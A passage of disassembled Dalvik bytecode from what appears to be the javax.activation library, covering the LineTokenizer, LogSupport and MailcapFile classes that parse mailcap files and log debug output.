00000042  iget                    v0, p0, LineTokenizer->currentPosition:I
00000046  iget                    v1, p0, LineTokenizer->maxPosition:I
0000004A  if-lt                   v0, v1, :5A
:4E
0000004E  new-instance            v0, NoSuchElementException
00000052  invoke-direct           NoSuchElementException-><init>()V, v0
00000058  throw                   v0
:5A
0000005A  iget                    v1, p0, LineTokenizer->currentPosition:I
0000005E  iget-object             v0, p0, LineTokenizer->str:String
00000062  invoke-virtual          String->charAt(I)C, v0, v1
00000068  move-result             v0
0000006A  if-ne                   v0, v5, :128
:6E
0000006E  iget                    v0, p0, LineTokenizer->currentPosition:I
00000072  add-int/lit8            v0, v0, 0x1
00000076  iput                    v0, p0, LineTokenizer->currentPosition:I
0000007A  const/4                 v0, 0x0
:7C
0000007C  iget                    v2, p0, LineTokenizer->currentPosition:I
00000080  iget                    v3, p0, LineTokenizer->maxPosition:I
00000084  if-lt                   v2, v3, :9A
:88
00000088  iget-object             v0, p0, LineTokenizer->str:String
0000008C  iget                    v2, p0, LineTokenizer->currentPosition:I
00000090  invoke-virtual          String->substring(I, I)String, v0, v1, v2
00000096  move-result-object      v0
00000098  goto                    :3A
:9A
0000009A  iget-object             v2, p0, LineTokenizer->str:String
0000009E  iget                    v3, p0, LineTokenizer->currentPosition:I
000000A2  add-int/lit8            v4, v3, 0x1
000000A6  iput                    v4, p0, LineTokenizer->currentPosition:I
000000AA  invoke-virtual          String->charAt(I)C, v2, v3
000000B0  move-result             v2
000000B2  if-ne                   v2, v6, :C6
:B6
000000B6  iget                    v0, p0, LineTokenizer->currentPosition:I
000000BA  add-int/lit8            v0, v0, 0x1
000000BE  iput                    v0, p0, LineTokenizer->currentPosition:I
000000C2  const/4                 v0, 0x1
000000C4  goto                    :7C
:C6
000000C6  if-ne                   v2, v5, :7C
:CA
000000CA  if-eqz                  v0, :10E
:CE
000000CE  new-instance            v2, StringBuffer
000000D2  invoke-direct           StringBuffer-><init>()V, v2
000000D8  add-int/lit8            v0, v1, 0x1
:DC
000000DC  iget                    v1, p0, LineTokenizer->currentPosition:I
000000E0  add-int/lit8            v1, v1, 0xFFFFFFFFFFFFFFFF
000000E4  if-lt                   v0, v1, :F2
:E8
000000E8  invoke-virtual          StringBuffer->toString()String, v2
000000EE  move-result-object      v0
000000F0  goto                    :3A
:F2
000000F2  iget-object             v1, p0, LineTokenizer->str:String
000000F6  invoke-virtual          String->charAt(I)C, v1, v0
000000FC  move-result             v1
000000FE  if-eq                   v1, v6, :108
:102
00000102  invoke-virtual          StringBuffer->append(C)StringBuffer, v2, v1
:108
00000108  add-int/lit8            v0, v0, 0x1
0000010C  goto                    :DC
:10E
0000010E  iget-object             v0, p0, LineTokenizer->str:String
00000112  add-int/lit8            v1, v1, 0x1
00000116  iget                    v2, p0, LineTokenizer->currentPosition:I
0000011A  add-int/lit8            v2, v2, 0xFFFFFFFFFFFFFFFF
0000011E  invoke-virtual          String->substring(I, I)String, v0, v1, v2
00000124  move-result-object      v0
00000126  goto                    :3A
:128
00000128  const-string            v2, "="
0000012C  invoke-virtual          String->indexOf(I)I, v2, v0
00000132  move-result             v0
00000134  if-ltz                  v0, :152
:138
00000138  iget                    v0, p0, LineTokenizer->currentPosition:I
0000013C  add-int/lit8            v0, v0, 0x1
00000140  iput                    v0, p0, LineTokenizer->currentPosition:I
00000144  goto                    :88
:146
00000146  iget                    v0, p0, LineTokenizer->currentPosition:I
0000014A  add-int/lit8            v0, v0, 0x1
0000014E  iput                    v0, p0, LineTokenizer->currentPosition:I
:152
00000152  iget                    v0, p0, LineTokenizer->currentPosition:I
00000156  iget                    v2, p0, LineTokenizer->maxPosition:I
0000015A  if-ge                   v0, v2, :88
:15E
0000015E  const-string            v0, "="
00000162  iget-object             v2, p0, LineTokenizer->str:String
00000166  iget                    v3, p0, LineTokenizer->currentPosition:I
0000016A  invoke-virtual          String->charAt(I)C, v2, v3
00000170  move-result             v2
00000172  invoke-virtual          String->indexOf(I)I, v0, v2
00000178  move-result             v0
0000017A  if-gez                  v0, :88
:17E
0000017E  iget-object             v0, p0, LineTokenizer->str:String
00000182  iget                    v2, p0, LineTokenizer->currentPosition:I
00000186  invoke-virtual          String->charAt(I)C, v0, v2
0000018C  move-result             v0
0000018E  invoke-static           Character->isWhitespace(C)Z, v0
00000194  move-result             v0
00000196  if-eqz                  v0, :146
:19A
0000019A  goto/16                 :88
.end method

.method public pushToken(String)V
          .registers 3
00000000  iget-object             v0, p0, LineTokenizer->stack:Vector
00000004  invoke-virtual          Vector->addElement(Object)V, v0, p1
0000000A  return-void
.end method

#--------------------------------------------------------------------------------
.class public LogSupport
.super Object
.source ""

.field private static debug:Z
.field private static final level:Level
.field private static logger:Logger

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x0
00000002  sput-boolean            v0, LogSupport->debug:Z
00000006  sget-object             v0, Level->FINE:Level
0000000A  sput-object             v0, LogSupport->level:Level
:E
0000000E  const-string            v0, "javax.activation.debug"
00000012  invoke-static           Boolean->getBoolean(String)Z, v0
00000018  move-result             v0
0000001A  sput-boolean            v0, LogSupport->debug:Z
:1E
0000001E  const-string            v0, "javax.activation"
00000022  invoke-static           Logger->getLogger(String)Logger, v0
00000028  move-result-object      v0
0000002A  sput-object             v0, LogSupport->logger:Logger
0000002E  return-void
:30
00000030  move-exception          v0
00000032  goto                    :1E
          .catch Throwable {:E .. :1E} :30
.end method

.method private constructor <init>()V
          .registers 1
00000000  invoke-direct           Object-><init>()V, p0
00000006  return-void
.end method

.method public static isLoggable()Z
          .registers 2
00000000  sget-boolean            v0, LogSupport->debug:Z
00000004  if-nez                  v0, :20
:8
00000008  sget-object             v0, LogSupport->logger:Logger
0000000C  sget-object             v1, LogSupport->level:Level
00000010  invoke-virtual          Logger->isLoggable(Level)Z, v0, v1
00000016  move-result             v0
00000018  if-nez                  v0, :20
:1C
0000001C  const/4                 v0, 0x0
:1E
0000001E  return                  v0
:20
00000020  const/4                 v0, 0x1
00000022  goto                    :1E
.end method

.method public static log(String)V
          .registers 3
00000000  sget-boolean            v0, LogSupport->debug:Z
00000004  if-eqz                  v0, :12
:8
00000008  sget-object             v0, System->out:PrintStream
0000000C  invoke-virtual          PrintStream->println(String)V, v0, p0
:12
00000012  sget-object             v0, LogSupport->logger:Logger
00000016  sget-object             v1, LogSupport->level:Level
0000001A  invoke-virtual          Logger->log(Level, String)V, v0, v1, p0
00000020  return-void
.end method

.method public static log(String, Throwable)V
          .registers 5
00000000  sget-boolean            v0, LogSupport->debug:Z
00000004  if-eqz                  v0, :40
:8
00000008  sget-object             v0, System->out:PrintStream
0000000C  new-instance            v1, StringBuilder
00000010  invoke-static           String->valueOf(Object)String, p0
00000016  move-result-object      v2
00000018  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000001E  const-string            v2, "; Exception: "
00000022  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000028  move-result-object      v1
0000002A  invoke-virtual          StringBuilder->append(Object)StringBuilder, v1, p1
00000030  move-result-object      v1
00000032  invoke-virtual          StringBuilder->toString()String, v1
00000038  move-result-object      v1
0000003A  invoke-virtual          PrintStream->println(String)V, v0, v1
:40
00000040  sget-object             v0, LogSupport->logger:Logger
00000044  sget-object             v1, LogSupport->level:Level
00000048  invoke-virtual          Logger->log(Level, String, Throwable)V, v0, v1, p0, p1
0000004E  return-void
.end method

#--------------------------------------------------------------------------------
.class public MailcapFile
.super Object
.source ""

.field private static addReverse:Z
.field private fallback_hash:Map
.field private native_commands:Map
.field private type_hash:Map

.method static constructor <clinit>()V
          .registers 1
00000000  const/4                 v0, 0x0
00000002  sput-boolean            v0, MailcapFile->addReverse:Z
:6
00000006  const-string            v0, "javax.activation.addreverse"
0000000A  invoke-static           Boolean->getBoolean(String)Z, v0
00000010  move-result             v0
00000012  sput-boolean            v0, MailcapFile->addReverse:Z
:16
00000016  return-void
:18
00000018  move-exception          v0
0000001A  goto                    :16
          .catch Throwable {:6 .. :16} :18
.end method

.method public constructor <init>()V
          .registers 2
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, HashMap
0000000A  invoke-direct           HashMap-><init>()V, v0
00000010  iput-object             v0, p0, MailcapFile->type_hash:Map
00000014  new-instance            v0, HashMap
00000018  invoke-direct           HashMap-><init>()V, v0
0000001E  iput-object             v0, p0, MailcapFile->fallback_hash:Map
00000022  new-instance            v0, HashMap
00000026  invoke-direct           HashMap-><init>()V, v0
0000002C  iput-object             v0, p0, MailcapFile->native_commands:Map
00000030  invoke-static           LogSupport->isLoggable()Z
00000036  move-result             v0
00000038  if-eqz                  v0, :46
:3C
0000003C  const-string            v0, "new MailcapFile: default"
00000040  invoke-static           LogSupport->log(String)V, v0
:46
00000046  return-void
.end method

.method public constructor <init>(InputStream)V
          .registers 5
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, HashMap
0000000A  invoke-direct           HashMap-><init>()V, v0
00000010  iput-object             v0, p0, MailcapFile->type_hash:Map
00000014  new-instance            v0, HashMap
00000018  invoke-direct           HashMap-><init>()V, v0
0000001E  iput-object             v0, p0, MailcapFile->fallback_hash:Map
00000022  new-instance            v0, HashMap
00000026  invoke-direct           HashMap-><init>()V, v0
0000002C  iput-object             v0, p0, MailcapFile->native_commands:Map
00000030  invoke-static           LogSupport->isLoggable()Z
00000036  move-result             v0
00000038  if-eqz                  v0, :46
:3C
0000003C  const-string            v0, "new MailcapFile: InputStream"
00000040  invoke-static           LogSupport->log(String)V, v0
:46
00000046  new-instance            v0, BufferedReader
0000004A  new-instance            v1, InputStreamReader
0000004E  const-string            v2, "iso-8859-1"
00000052  invoke-direct           InputStreamReader-><init>(InputStream, String)V, v1, p1, v2
00000058  invoke-direct           BufferedReader-><init>(Reader)V, v0, v1
0000005E  invoke-direct           MailcapFile->parse(Reader)V, p0, v0
00000064  return-void
.end method

.method public constructor <init>(String)V
          .registers 5
00000000  invoke-direct           Object-><init>()V, p0
00000006  new-instance            v0, HashMap
0000000A  invoke-direct           HashMap-><init>()V, v0
00000010  iput-object             v0, p0, MailcapFile->type_hash:Map
00000014  new-instance            v0, HashMap
00000018  invoke-direct           HashMap-><init>()V, v0
0000001E  iput-object             v0, p0, MailcapFile->fallback_hash:Map
00000022  new-instance            v0, HashMap
00000026  invoke-direct           HashMap-><init>()V, v0
0000002C  iput-object             v0, p0, MailcapFile->native_commands:Map
00000030  invoke-static           LogSupport->isLoggable()Z
00000036  move-result             v0
00000038  if-eqz                  v0, :60
:3C
0000003C  new-instance            v0, StringBuilder
00000040  const-string            v1, "new MailcapFile: file "
00000044  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000004A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000050  move-result-object      v0
00000052  invoke-virtual          StringBuilder->toString()String, v0
00000058  move-result-object      v0
0000005A  invoke-static           LogSupport->log(String)V, v0
:60
00000060  const/4                 v2, 0x0
:62
00000062  new-instance            v1, FileReader
00000066  invoke-direct           FileReader-><init>(String)V, v1, p1
:6C
0000006C  new-instance            v0, BufferedReader
00000070  invoke-direct           BufferedReader-><init>(Reader)V, v0, v1
00000076  invoke-direct           MailcapFile->parse(Reader)V, p0, v0
:7C
0000007C  if-eqz                  v1, :86
:80
00000080  invoke-virtual          FileReader->close()V, v1
:86
00000086  return-void
:88
00000088  move-exception          v0
0000008A  move-object             v1, v2
:8C
0000008C  if-eqz                  v1, :96
:90
00000090  invoke-virtual          FileReader->close()V, v1
:96
00000096  throw                   v0
:98
00000098  move-exception          v1
0000009A  goto                    :96
:9C
0000009C  move-exception          v0
0000009E  goto                    :86
:A0
000000A0  move-exception          v0
000000A2  goto                    :8C
          .catchall {:62 .. :6C} :88
          .catchall {:6C .. :7C} :A0
          .catch IOException {:80 .. :86} :9C
          .catch IOException {:90 .. :96} :98
.end method

.method private mergeResults(Map, Map)Map
          .registers 9
00000000  invoke-interface        Map->keySet()Set, p2
00000006  move-result-object      v0
00000008  invoke-interface        Set->iterator()Iterator, v0
0000000E  move-result-object      v3
00000010  new-instance            v4, HashMap
00000014  invoke-direct           HashMap-><init>(Map)V, v4, p1
:1A
0000001A  invoke-interface        Iterator->hasNext()Z, v3
00000020  move-result             v0
00000022  if-nez                  v0, :28
:26
00000026  return-object           v4
:28
00000028  invoke-interface        Iterator->next()Object, v3
0000002E  move-result-object      v0
00000030  check-cast              v0, String
00000034  invoke-interface        Map->get(Object)Object, v4, v0
0000003A  move-result-object      v1
0000003C  check-cast              v1, List
00000040  if-nez                  v1, :54
:44
00000044  invoke-interface        Map->get(Object)Object, p2, v0
0000004A  move-result-object      v1
0000004C  invoke-interface        Map->put(Object, Object)Object, v4, v0, v1
00000052  goto                    :1A
:54
00000054  invoke-interface        Map->get(Object)Object, p2, v0
0000005A  move-result-object      v2
0000005C  check-cast              v2, List
00000060  new-instance            v5, ArrayList
00000064  invoke-direct           ArrayList-><init>(Collection)V, v5, v1
0000006A  invoke-interface        List->addAll(Collection)Z, v5, v2
00000070  invoke-interface        Map->put(Object, Object)Object, v4, v0, v5
00000076  goto                    :1A
.end method

.method private parse(Reader)V
          .registers 9
00000000  const/4                 v1, 0x0
00000002  new-instance            v2, BufferedReader
00000006  invoke-direct           BufferedReader-><init>(Reader)V, v2, p1
0000000C  move-object             v0, v1
:E
0000000E  invoke-virtual          BufferedReader->readLine()String, v2
00000014  move-result-object      v3
00000016  if-nez                  v3, :1C
:1A
0000001A  return-void
:1C
0000001C  invoke-virtual          String->trim()String, v3
00000022  move-result-object      v3
00000024  const/4                 v4, 0x0
:26
00000026  invoke-virtual          String->charAt(I)C, v3, v4
0000002C  move-result             v4
0000002E  const/16                v5, 0x23
00000032  if-eq                   v4, v5, :E
:36
00000036  invoke-virtual          String->length()I, v3
0000003C  move-result             v4
0000003E  add-int/lit8            v4, v4, 0xFFFFFFFFFFFFFFFF
00000042  invoke-virtual          String->charAt(I)C, v3, v4
00000048  move-result             v4
0000004A  const/16                v5, 0x5C
0000004E  if-ne                   v4, v5, :A8
:52
00000052  if-eqz                  v0, :90
:56
00000056  new-instance            v4, StringBuilder
0000005A  invoke-static           String->valueOf(Object)String, v0
00000060  move-result-object      v5
00000062  invoke-direct           StringBuilder-><init>(String)V, v4, v5
00000068  const/4                 v5, 0x0
0000006A  invoke-virtual          String->length()I, v3
00000070  move-result             v6
00000072  add-int/lit8            v6, v6, 0xFFFFFFFFFFFFFFFF
00000076  invoke-virtual          String->substring(I, I)String, v3, v5, v6
0000007C  move-result-object      v3
0000007E  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v3
00000084  move-result-object      v3
00000086  invoke-virtual          StringBuilder->toString()String, v3
0000008C  move-result-object      v0
0000008E  goto                    :E
:90
00000090  const/4                 v4, 0x0
00000092  invoke-virtual          String->length()I, v3
00000098  move-result             v5
0000009A  add-int/lit8            v5, v5, 0xFFFFFFFFFFFFFFFF
0000009E  invoke-virtual          String->substring(I, I)String, v3, v4, v5
000000A4  move-result-object      v0
000000A6  goto                    :E
:A8
000000A8  if-eqz                  v0, :D8
:AC
000000AC  new-instance            v4, StringBuilder
000000B0  invoke-static           String->valueOf(Object)String, v0
000000B6  move-result-object      v5
000000B8  invoke-direct           StringBuilder-><init>(String)V, v4, v5
000000BE  invoke-virtual          StringBuilder->append(String)StringBuilder, v4, v3
000000C4  move-result-object      v3
000000C6  invoke-virtual          StringBuilder->toString()String, v3
:CC
000000CC  move-result-object      v0
:CE
000000CE  invoke-virtual          MailcapFile->parseLine(String)V, p0, v0
:D4
000000D4  move-object             v0, v1
000000D6  goto                    :E
:D8
000000D8  invoke-virtual          MailcapFile->parseLine(String)V, p0, v3
:DE
000000DE  goto                    :E
:E0
000000E0  move-exception          v3
000000E2  goto                    :E
:E4
000000E4  move-exception          v0
000000E6  goto                    :D4
:E8
000000E8  move-exception          v3
000000EA  goto                    :E
          .catch StringIndexOutOfBoundsException {:26 .. :CC} :E8
          .catch MailcapParseException {:CE .. :D4} :E4
          .catch StringIndexOutOfBoundsException {:CE .. :D4} :E8
          .catch MailcapParseException {:D8 .. :DE} :E0
          .catch StringIndexOutOfBoundsException {:D8 .. :DE} :E8
.end method

.method protected static reportParseError(I, I, I, I, String)V
          .registers 8
00000000  invoke-static           LogSupport->isLoggable()Z
00000006  move-result             v0
00000008  if-eqz                  v0, :AC
:C
0000000C  new-instance            v0, StringBuilder
00000010  const-string            v1, "PARSE ERROR: Encountered a "
00000014  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000001A  invoke-static           MailcapTokenizer->nameForToken(I)String, p3
00000020  move-result-object      v1
00000022  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000028  move-result-object      v0
0000002A  const-string            v1, " token ("
0000002E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000034  move-result-object      v0
00000036  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p4
0000003C  move-result-object      v0
0000003E  const-string            v1, ") while expecting a "
00000042  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000048  move-result-object      v0
0000004A  invoke-static           MailcapTokenizer->nameForToken(I)String, p0
00000050  move-result-object      v1
00000052  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000058  move-result-object      v0
0000005A  const-string            v1, ", a "
0000005E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000064  move-result-object      v0
00000066  invoke-static           MailcapTokenizer->nameForToken(I)String, p1
0000006C  move-result-object      v1
0000006E  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000074  move-result-object      v0
00000076  const-string            v1, ", or a "
0000007A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000080  move-result-object      v0
00000082  invoke-static           MailcapTokenizer->nameForToken(I)String, p2
00000088  move-result-object      v1
0000008A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000090  move-result-object      v0
00000092  const-string            v1, " token."
00000096  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
0000009C  move-result-object      v0
0000009E  invoke-virtual          StringBuilder->toString()String, v0
000000A4  move-result-object      v0
000000A6  invoke-static           LogSupport->log(String)V, v0
:AC
000000AC  new-instance            v0, MailcapParseException
000000B0  new-instance            v1, StringBuilder
000000B4  const-string            v2, "Encountered a "
000000B8  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000BE  invoke-static           MailcapTokenizer->nameForToken(I)String, p3
000000C4  move-result-object      v2
000000C6  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000CC  move-result-object      v1
000000CE  const-string            v2, " token ("
000000D2  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000D8  move-result-object      v1
000000DA  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p4
000000E0  move-result-object      v1
000000E2  const-string            v2, ") while expecting a "
000000E6  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000EC  move-result-object      v1
000000EE  invoke-static           MailcapTokenizer->nameForToken(I)String, p0
000000F4  move-result-object      v2
000000F6  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000FC  move-result-object      v1
000000FE  const-string            v2, ", a "
00000102  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000108  move-result-object      v1
0000010A  invoke-static           MailcapTokenizer->nameForToken(I)String, p1
00000110  move-result-object      v2
00000112  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000118  move-result-object      v1
0000011A  const-string            v2, ", or a "
0000011E  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000124  move-result-object      v1
00000126  invoke-static           MailcapTokenizer->nameForToken(I)String, p2
0000012C  move-result-object      v2
0000012E  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000134  move-result-object      v1
00000136  const-string            v2, " token."
0000013A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000140  move-result-object      v1
00000142  invoke-virtual          StringBuilder->toString()String, v1
00000148  move-result-object      v1
0000014A  invoke-direct           MailcapParseException-><init>(String)V, v0, v1
00000150  throw                   v0
.end method

.method protected static reportParseError(I, I, I, String)V
          .registers 7
00000000  new-instance            v0, MailcapParseException
00000004  new-instance            v1, StringBuilder
00000008  const-string            v2, "Encountered a "
0000000C  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000012  invoke-static           MailcapTokenizer->nameForToken(I)String, p2
00000018  move-result-object      v2
0000001A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000020  move-result-object      v1
00000022  const-string            v2, " token ("
00000026  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000002C  move-result-object      v1
0000002E  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p3
00000034  move-result-object      v1
00000036  const-string            v2, ") while expecting a "
0000003A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000040  move-result-object      v1
00000042  invoke-static           MailcapTokenizer->nameForToken(I)String, p0
00000048  move-result-object      v2
0000004A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000050  move-result-object      v1
00000052  const-string            v2, " or a "
00000056  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000005C  move-result-object      v1
0000005E  invoke-static           MailcapTokenizer->nameForToken(I)String, p1
00000064  move-result-object      v2
00000066  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000006C  move-result-object      v1
0000006E  const-string            v2, " token."
00000072  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000078  move-result-object      v1
0000007A  invoke-virtual          StringBuilder->toString()String, v1
00000080  move-result-object      v1
00000082  invoke-direct           MailcapParseException-><init>(String)V, v0, v1
00000088  throw                   v0
.end method

.method protected static reportParseError(I, I, String)V
          .registers 6
00000000  new-instance            v0, MailcapParseException
00000004  new-instance            v1, StringBuilder
00000008  const-string            v2, "Encountered a "
0000000C  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000012  invoke-static           MailcapTokenizer->nameForToken(I)String, p1
00000018  move-result-object      v2
0000001A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000020  move-result-object      v1
00000022  const-string            v2, " token ("
00000026  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000002C  move-result-object      v1
0000002E  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p2
00000034  move-result-object      v1
00000036  const-string            v2, ") while expecting a "
0000003A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000040  move-result-object      v1
00000042  invoke-static           MailcapTokenizer->nameForToken(I)String, p0
00000048  move-result-object      v2
0000004A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000050  move-result-object      v1
00000052  const-string            v2, " token."
00000056  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000005C  move-result-object      v1
0000005E  invoke-virtual          StringBuilder->toString()String, v1
00000064  move-result-object      v1
00000066  invoke-direct           MailcapParseException-><init>(String)V, v0, v1
0000006C  throw                   v0
.end method

.method public appendToMailcap(String)V
          .registers 4
00000000  invoke-static           LogSupport->isLoggable()Z
00000006  move-result             v0
00000008  if-eqz                  v0, :30
:C
0000000C  new-instance            v0, StringBuilder
00000010  const-string            v1, "appendToMailcap: "
00000014  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000001A  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
00000020  move-result-object      v0
00000022  invoke-virtual          StringBuilder->toString()String, v0
00000028  move-result-object      v0
0000002A  invoke-static           LogSupport->log(String)V, v0
:30
00000030  new-instance            v0, StringReader
00000034  invoke-direct           StringReader-><init>(String)V, v0, p1
0000003A  invoke-direct           MailcapFile->parse(Reader)V, p0, v0
:40
00000040  return-void
:42
00000042  move-exception          v0
00000044  goto                    :40
          .catch IOException {:30 .. :40} :42
.end method

.method public getMailcapFallbackList(String)Map
          .registers 6
00000000  iget-object             v0, p0, MailcapFile->fallback_hash:Map
00000004  invoke-interface        Map->get(Object)Object, v0, p1
0000000A  move-result-object      v0
0000000C  check-cast              v0, Map
00000010  const/16                v1, 0x2F
00000014  invoke-virtual          String->indexOf(I)I, p1, v1
0000001A  move-result             v1
0000001C  add-int/lit8            v2, v1, 0x1
00000020  invoke-virtual          String->substring(I)String, p1, v2
00000026  move-result-object      v2
00000028  const-string            v3, "*"
0000002C  invoke-virtual          String->equals(Object)Z, v2, v3
00000032  move-result             v2
00000034  if-nez                  v2, :8C
:38
00000038  new-instance            v2, StringBuilder
0000003C  const/4                 v3, 0x0
0000003E  add-int/lit8            v1, v1, 0x1
00000042  invoke-virtual          String->substring(I, I)String, p1, v3, v1
00000048  move-result-object      v1
0000004A  invoke-static           String->valueOf(Object)String, v1
00000050  move-result-object      v1
00000052  invoke-direct           StringBuilder-><init>(String)V, v2, v1
00000058  const-string            v1, "*"
0000005C  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000062  move-result-object      v1
00000064  invoke-virtual          StringBuilder->toString()String, v1
0000006A  move-result-object      v1
0000006C  iget-object             v2, p0, MailcapFile->fallback_hash:Map
00000070  invoke-interface        Map->get(Object)Object, v2, v1
00000076  move-result-object      v1
00000078  check-cast              v1, Map
0000007C  if-eqz                  v1, :8C
:80
00000080  if-eqz                  v0, :8E
:84
00000084  invoke-direct           MailcapFile->mergeResults(Map, Map)Map, p0, v0, v1
0000008A  move-result-object      v0
:8C
0000008C  return-object           v0
:8E
0000008E  move-object             v0, v1
00000090  goto                    :8C
.end method

.method public getMailcapList(String)Map
          .registers 6
00000000  iget-object             v0, p0, MailcapFile->type_hash:Map
00000004  invoke-interface        Map->get(Object)Object, v0, p1
0000000A  move-result-object      v0
0000000C  check-cast              v0, Map
00000010  const/16                v1, 0x2F
00000014  invoke-virtual          String->indexOf(I)I, p1, v1
0000001A  move-result             v1
0000001C  add-int/lit8            v2, v1, 0x1
00000020  invoke-virtual          String->substring(I)String, p1, v2
00000026  move-result-object      v2
00000028  const-string            v3, "*"
0000002C  invoke-virtual          String->equals(Object)Z, v2, v3
00000032  move-result             v2
00000034  if-nez                  v2, :8C
:38
00000038  new-instance            v2, StringBuilder
0000003C  const/4                 v3, 0x0
0000003E  add-int/lit8            v1, v1, 0x1
00000042  invoke-virtual          String->substring(I, I)String, p1, v3, v1
00000048  move-result-object      v1
0000004A  invoke-static           String->valueOf(Object)String, v1
00000050  move-result-object      v1
00000052  invoke-direct           StringBuilder-><init>(String)V, v2, v1
00000058  const-string            v1, "*"
0000005C  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000062  move-result-object      v1
00000064  invoke-virtual          StringBuilder->toString()String, v1
0000006A  move-result-object      v1
0000006C  iget-object             v2, p0, MailcapFile->type_hash:Map
00000070  invoke-interface        Map->get(Object)Object, v2, v1
00000076  move-result-object      v1
00000078  check-cast              v1, Map
0000007C  if-eqz                  v1, :8C
:80
00000080  if-eqz                  v0, :8E
:84
00000084  invoke-direct           MailcapFile->mergeResults(Map, Map)Map, p0, v0, v1
0000008A  move-result-object      v0
:8C
0000008C  return-object           v0
:8E
0000008E  move-object             v0, v1
00000090  goto                    :8C
.end method

.method public getMimeTypes()[String
          .registers 3
00000000  new-instance            v0, HashSet
00000004  iget-object             v1, p0, MailcapFile->type_hash:Map
00000008  invoke-interface        Map->keySet()Set, v1
0000000E  move-result-object      v1
00000010  invoke-direct           HashSet-><init>(Collection)V, v0, v1
00000016  iget-object             v1, p0, MailcapFile->fallback_hash:Map
0000001A  invoke-interface        Map->keySet()Set, v1
00000020  move-result-object      v1
00000022  invoke-interface        Set->addAll(Collection)Z, v0, v1
00000028  iget-object             v1, p0, MailcapFile->native_commands:Map
0000002C  invoke-interface        Map->keySet()Set, v1
00000032  move-result-object      v1
00000034  invoke-interface        Set->addAll(Collection)Z, v0, v1
0000003A  invoke-interface        Set->size()I, v0
00000040  move-result             v1
00000042  new-array               v1, v1, [String
00000046  invoke-interface        Set->toArray([Object)[Object, v0, v1
0000004C  move-result-object      v0
0000004E  check-cast              v0, [String
00000052  return-object           v0
.end method

.method public getNativeCommands(String)[String
          .registers 5
00000000  const/4                 v0, 0x0
00000002  check-cast              v0, [String
00000006  iget-object             v1, p0, MailcapFile->native_commands:Map
0000000A  sget-object             v2, Locale->ENGLISH:Locale
0000000E  invoke-virtual          String->toLowerCase(Locale)String, p1, v2
00000014  move-result-object      v2
00000016  invoke-interface        Map->get(Object)Object, v1, v2
0000001C  move-result-object      v1
0000001E  check-cast              v1, List
00000022  if-eqz                  v1, :3E
:26
00000026  invoke-interface        List->size()I, v1
0000002C  move-result             v0
0000002E  new-array               v0, v0, [String
00000032  invoke-interface        List->toArray([Object)[Object, v1, v0
00000038  move-result-object      v0
0000003A  check-cast              v0, [String
:3E
0000003E  return-object           v0
.end method

.method protected parseLine(String)V
          .registers 16
00000000  const/4                 v2, 0x1
00000002  const/4                 v12, 0x5
00000004  const/4                 v3, 0x0
00000006  const/4                 v11, 0x2
00000008  const/16                v10, 0x3B
0000000C  new-instance            v4, MailcapTokenizer
00000010  invoke-direct           MailcapTokenizer-><init>(String)V, v4, p1
00000016  invoke-virtual          MailcapTokenizer->setIsAutoquoting(Z)V, v4, v3
0000001C  invoke-static           LogSupport->isLoggable()Z
00000022  move-result             v0
00000024  if-eqz                  v0, :4C
:28
00000028  new-instance            v0, StringBuilder
0000002C  const-string            v1, "parse: "
00000030  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000036  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, p1
0000003C  move-result-object      v0
0000003E  invoke-virtual          StringBuilder->toString()String, v0
00000044  move-result-object      v0
00000046  invoke-static           LogSupport->log(String)V, v0
:4C
0000004C  invoke-virtual          MailcapTokenizer->nextToken()I, v4
00000052  move-result             v0
